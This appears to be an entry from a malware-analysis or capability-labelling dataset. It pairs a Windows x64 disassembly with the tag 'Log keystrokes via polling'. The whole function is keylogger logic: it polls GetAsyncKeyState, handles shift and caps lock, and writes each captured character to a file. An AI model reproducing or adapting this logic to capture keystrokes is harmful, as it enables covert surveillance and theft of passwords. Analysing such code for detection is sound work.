Function at 0x14000292b
Capabilities:
Log keystrokes via polling

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov byte [rbp - 1], 8
movzx eax, byte [rbp - 1]
mov ecx, eax
mov rax, qword [sym.imp.USER32.dll_GetAsyncKeyState]
call rax
cmp ax, 0x8001
jne 0x140002e67
cmp qword [rbp + 0x20], 0
jne 0x140002972
lea rax, str.Error_al_abrir_el_archivo.
mov rcx, rax
call sym.puts
jmp 0x140002e76
movzx eax, byte [rbp - 1]
mov byte [rbp - 2], al
mov ecx, 0x10
mov rax, qword [sym.imp.USER32.dll_GetAsyncKeyState]
call rax
test ax, ax
jns 0x140002cd3
movzx eax, byte [rbp - 1]
cmp eax, 0x39
jg 0x140002a01
cmp eax, 8
jge 0x1400029d3
jmp case.0x1400029d1.191
sub eax, 0xba
cmp eax, 0x24
ja case.0x1400029d1.191
mov eax, eax
lea rdx, [rax*4]
lea rax, [0x140014354]
mov eax, dword [rdx + rax]
cdqe
lea rdx, [0x140014354]
add rax, rdx
jmp rax
sub eax, 8
cmp eax, 0x31
ja case.0x1400029d1.191
mov eax, eax
lea rdx, [rax*4]
lea rax, [0x1400143e8]
mov eax, dword [rdx + rax]
cdqe
lea rdx, [0x1400143e8]
add rax, rdx
jmp rax
cmp eax, 0xde
jg case.0x1400029d1.191
cmp eax, 0xba
jge 0x1400029a3
jmp case.0x1400029d1.191
mov byte [rbp - 2], 0
jmp 0x140002e67
mov byte [rbp - 2], 0
jmp 0x140002e67
mov byte [rbp - 2], 0x20
jmp 0x140002e67
mov byte [rbp - 2], 0
jmp 0x140002e67
mov byte [rbp - 2], 0
jmp 0x140002e67
mov byte [rbp - 2], 0xa
jmp 0x140002e67
movzx edx, byte [rbp - 1]
mov rax, qword [rbp + 0x20]
mov r8d, edx
mov edx, 0x2a
mov rcx, rax
call sym.writeChar
jmp 0x140002e67
movzx edx, byte [rbp - 1]
mov rax, qword [rbp + 0x20]
mov r8d, edx
mov edx, 0x5f
mov rcx, rax
call sym.writeChar
jmp 0x140002e67
movzx edx, byte [rbp - 1]
mov rax, qword [rbp + 0x20]
mov r8d, edx
mov edx, 0x5e
mov rcx, rax
call sym.writeChar
jmp 0x140002e67
movzx edx, byte [rbp - 1]
mov rax, qword [rbp + 0x20]
mov r8d, edx
mov edx, 0x3a
mov rcx, rax
call sym.writeChar
jmp 0x140002e67
movzx edx, byte [rbp - 1]
mov rax, qword [rbp + 0x20]
mov r8d, edx
mov edx, 0x3b
mov rcx, rax
call sym.writeChar
jmp 0x140002e67
movzx edx, byte [rbp - 1]
mov rax, qword [rbp + 0x20]
mov r8d, edx
mov edx, 0x21
mov rcx, rax
call sym.writeChar
jmp 0x140002e67
movzx edx, byte [rbp - 1]
mov rax, qword [rbp + 0x20]
mov r8d, edx
mov edx, 0x22
mov rcx, rax
call sym.writeChar
jmp 0x140002e67
mov rax, qword [rbp + 0x20]
mov r9, rax
mov r8d, 2
mov edx, 1
lea rax, [0x140014344]
mov rcx, rax
call sym.fwrite
jmp 0x140002e67
movzx edx, byte [rbp - 1]
mov rax, qword [rbp + 0x20]
mov r8d, edx
mov edx, 0x24
mov rcx, rax
call sym.writeChar
jmp 0x140002e67
movzx edx, byte [rbp - 1]
mov rax, qword [rbp + 0x20]
mov r8d, edx
mov edx, 0x25
mov rcx, rax
call sym.writeChar
jmp 0x140002e67
movzx edx, byte [rbp - 1]
mov rax, qword [rbp + 0x20]
mov r8d, edx
mov edx, 0x26
mov rcx, rax
call sym.writeChar
jmp 0x140002e67
movzx edx, byte [rbp - 1]
mov rax, qword [rbp + 0x20]
mov r8d, edx
mov edx, 0x2f
mov rcx, rax
call sym.writeChar
jmp 0x140002e67
movzx edx, byte [rbp - 1]
mov rax, qword [rbp + 0x20]
mov r8d, edx
mov edx, 0x28
mov rcx, rax
call sym.writeChar
jmp 0x140002e67
movzx edx, byte [rbp - 1]
mov rax, qword [rbp + 0x20]
mov r8d, edx
mov edx, 0x29
mov rcx, rax
call sym.writeChar
jmp 0x140002e67
movzx edx, byte [rbp - 1]
mov rax, qword [rbp + 0x20]
mov r8d, edx
mov edx, 0x3d
mov rcx, rax
call sym.writeChar
jmp 0x140002e67
movzx edx, byte [rbp - 1]
mov rax, qword [rbp + 0x20]
mov r8d, edx
mov edx, 0x3f
mov rcx, rax
call sym.writeChar
jmp 0x140002e67
mov rax, qword [rbp + 0x20]
mov r9, rax
mov r8d, 2
mov edx, 1
lea rax, [0x140014347]
mov rcx, rax
call sym.fwrite
jmp 0x140002e67
mov rax, qword [rbp + 0x20]
mov r9, rax
mov r8d, 2
mov edx, 1
lea rax, [0x14001434a]
mov rcx, rax
call sym.fwrite
jmp 0x140002e67
mov rax, qword [rbp + 0x20]
mov r9, rax
mov r8d, 2
mov edx, 1
lea rax, [0x14001434d]
mov rcx, rax
call sym.fwrite
jmp 0x140002e67
cmp byte [rbp - 1], 0x40
jbe 0x140002ca5
cmp byte [rbp - 1], 0x5a
jbe 0x140002cab
cmp byte [rbp - 1], 0x20
jne 0x140002cca
movzx ecx, byte [rbp - 1]
movzx eax, byte [rbp - 1]
movsx edx, al
mov rax, qword [rbp + 0x20]
mov r8d, ecx
mov rcx, rax
call sym.writeChar
jmp 0x140002e67
mov byte [rbp - 2], 0
jmp 0x140002e67
mov ecx, 0x14
mov rax, qword [sym.imp.USER32.dll_GetKeyState]
call rax
cwde
and eax, 1
test eax, eax
je 0x140002d13
movzx ebx, byte [rbp - 1]
movzx eax, byte [rbp - 1]
mov ecx, eax
mov rax, qword [sym.imp.ucrtbase.dll_toupper]
call rax
movsx edx, al
mov rax, qword [rbp + 0x20]
mov r8d, ebx
mov rcx, rax
call sym.writeChar
jmp 0x140002e67
movzx eax, byte [rbp - 1]
sub eax, 0xba
cmp eax, 0x24
ja case.0x140002d45.191
mov eax, eax
lea rdx, [rax*4]
lea rax, [0x1400144b0]
mov eax, dword [rdx + rax]
cdqe
lea rdx, [0x1400144b0]
add rax, rdx
jmp rax
movzx edx, byte [rbp - 1]
mov rax, qword [rbp + 0x20]
mov r8d, edx
mov edx, 0x2e
mov rcx, rax
call sym.writeChar
jmp 0x140002e67
movzx edx, byte [rbp - 1]
mov rax, qword [rbp + 0x20]
mov r8d, edx
mov edx, 0x2d
mov rcx, rax
call sym.writeChar
jmp 0x140002e67
movzx edx, byte [rbp - 1]
mov rax, qword [rbp + 0x20]
mov r8d, edx
mov edx, 0x2b
mov rcx, rax
call sym.writeChar
jmp 0x140002e67
movzx edx, byte [rbp - 1]
mov rax, qword [rbp + 0x20]
mov r8d, edx
mov edx, 0x2c
mov rcx, rax
call sym.writeChar
jmp 0x140002e67
mov rax, qword [rbp + 0x20]
mov r9, rax
mov r8d, 2
mov edx, 1
lea rax, [0x14001434a]
mov rcx, rax
call sym.fwrite
jmp 0x140002e67
movzx edx, byte [rbp - 1]
mov rax, qword [rbp + 0x20]
mov r8d, edx
mov edx, 0x60
mov rcx, rax
call sym.writeChar
jmp 0x140002e67
mov rax, qword [rbp + 0x20]
mov r9, rax
mov r8d, 2
mov edx, 1
lea rax, [0x140014350]
mov rcx, rax
call sym.fwrite
jmp 0x140002e67
cmp byte [rbp - 1], 0x40
jbe 0x140002e2a
cmp byte [rbp - 1], 0x5a
jbe 0x140002e3c
cmp byte [rbp - 1], 0x20
je 0x140002e3c
cmp byte [rbp - 1], 0x2f
jbe 0x140002e63
cmp byte [rbp - 1], 0x39
ja 0x140002e63
movzx ebx, byte [rbp - 1]
movzx eax, byte [rbp - 1]
mov ecx, eax
mov rax, qword [sym.imp.ucrtbase.dll_tolower]
call rax
movsx edx, al
mov rax, qword [rbp + 0x20]
mov r8d, ebx
mov rcx, rax
call sym.writeChar
jmp 0x140002e67
mov byte [rbp - 2], 0
movzx eax, byte [rbp - 1]
add eax, 1
mov byte [rbp - 1], al
jmp 0x14000293e
add rsp, 0x38
pop rbx
pop rbp
ret